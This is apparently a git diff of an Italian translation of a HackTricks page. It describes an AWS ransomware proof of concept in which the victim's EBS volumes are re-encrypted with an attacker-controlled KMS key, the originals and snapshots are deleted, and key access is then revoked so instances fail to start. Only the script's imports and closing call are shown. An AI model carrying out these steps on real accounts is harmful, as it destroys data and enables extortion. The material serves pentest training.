Da notare inoltre che lo script ha fermato le istanze EC2 per staccare e cancellare i volumi EBS originali. I volumi originali non cifrati ora non esistono più.
|
||||
|
||||
|
||||
|
||||
@@ -495,15 +498,15 @@ Successivamente, torna alla key policy nell'account 'attacker' e rimuovi la rego
|
||||
]
|
||||
}
|
||||
```
|
||||
Attendi un momento affinché la nuova key policy si propaghi. Poi torna all'account 'victim' e prova a collegare uno dei volumi EBS appena crittografati. Vedrai che puoi collegare il volume.
|
||||
Attendi un momento affinché la key policy appena impostata si propaghi. Poi torna all'account 'victim' e prova ad allegare uno dei volumi EBS appena criptati. Vedrai che puoi allegare il volume.
|
||||
|
||||
 
|
||||
|
||||
Ma quando provi effettivamente a riavviare l'istanza EC2 con il volume EBS crittografato, semplicemente fallirà e passerà dallo stato 'pending' allo stato 'stopped' indefinitamente, perché il volume EBS allegato non può essere decrittografato usando la key dato che la key policy non lo permette più.
|
||||
Ma quando tenti effettivamente di riavviare l'istanza EC2 con il volume EBS criptato, fallirà e passerà dallo stato 'pending' allo stato 'stopped' per sempre, poiché il volume EBS allegato non può essere decriptato con la key dato che la key policy non lo permette più.
|
||||
|
||||
 
|
||||
|
||||
Questo è lo script python utilizzato. Riceve le AWS creds per un account 'victim' e un valore ARN AWS pubblicamente disponibile per la key da usare per la crittografia. Lo script creerà copie criptate di TUTTI i volumi EBS disponibili allegati a TUTTE le istanze EC2 nell'account AWS target, poi fermerà ogni istanza EC2, staccherà i volumi EBS originali, li eliminerà e infine cancellerà tutti gli snapshot utilizzati durante il processo. Questo lascerà solo volumi EBS crittografati nell'account 'victim' target. USARE QUESTO SCRIPT SOLO IN UN AMBIENTE DI TEST, È DISTRUTTIVO E CANCELLERÀ TUTTI I VOLUMI EBS ORIGINALI. È possibile recuperarli usando la KMS key utilizzata e ripristinarli allo stato originale tramite snapshot, ma vogliamo solo farti sapere che, alla fine, si tratta di un ransomware PoC.
|
||||
Questo è lo script python utilizzato. Richiede le credenziali AWS per un account 'victim' e un valore ARN AWS pubblicamente disponibile per la key da usare per la crittografia. Lo script creerà copie criptate di TUTTI i volumi EBS disponibili allegati a TUTTE le istanze EC2 nell'account AWS bersaglio, poi fermerà ogni istanza EC2, staccherà i volumi EBS originali, li eliminerà e infine eliminerà tutti gli snapshots utilizzati durante il processo. Questo lascerà solo volumi EBS criptati nell'account 'victim' bersaglio. USARE QUESTO SCRIPT SOLO IN UN AMBIENTE DI TEST, È DISTRUTTIVO E ELIMINERÀ TUTTI I VOLUMI EBS ORIGINALI. Puoi recuperarli usando la KMS key utilizzata e ripristinarli al loro stato originale tramite gli snapshots, ma voglio solo avvisarti che alla fine dei conti si tratta di una ransomware PoC.
|
||||
```
|
||||
import boto3
|
||||
import argparse
|
||||
@@ -622,8 +625,10 @@ main()
|
||||
```
|
||||
## Riferimenti
|
||||
|
||||
- [Latacora - ECS on EC2: Colmare le lacune in IMDS Hardening](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/)
|
||||
- <https://www.sweet.security/blog/ecscape-understanding-iam-privilege-boundaries-in-amazon-ecs>
|
||||
- [Latacora - ECS on EC2: Covering Gaps in IMDS Hardening](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/)
|
||||
- [Latacora ecs-on-ec2-gaps-in-imds-hardening Terraform repo](https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening)
|
||||
- [Pentest Partners – Come trasferire file in AWS usando SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
|
||||
- [Pentest Partners – How to transfer files in AWS using SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
|
||||
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user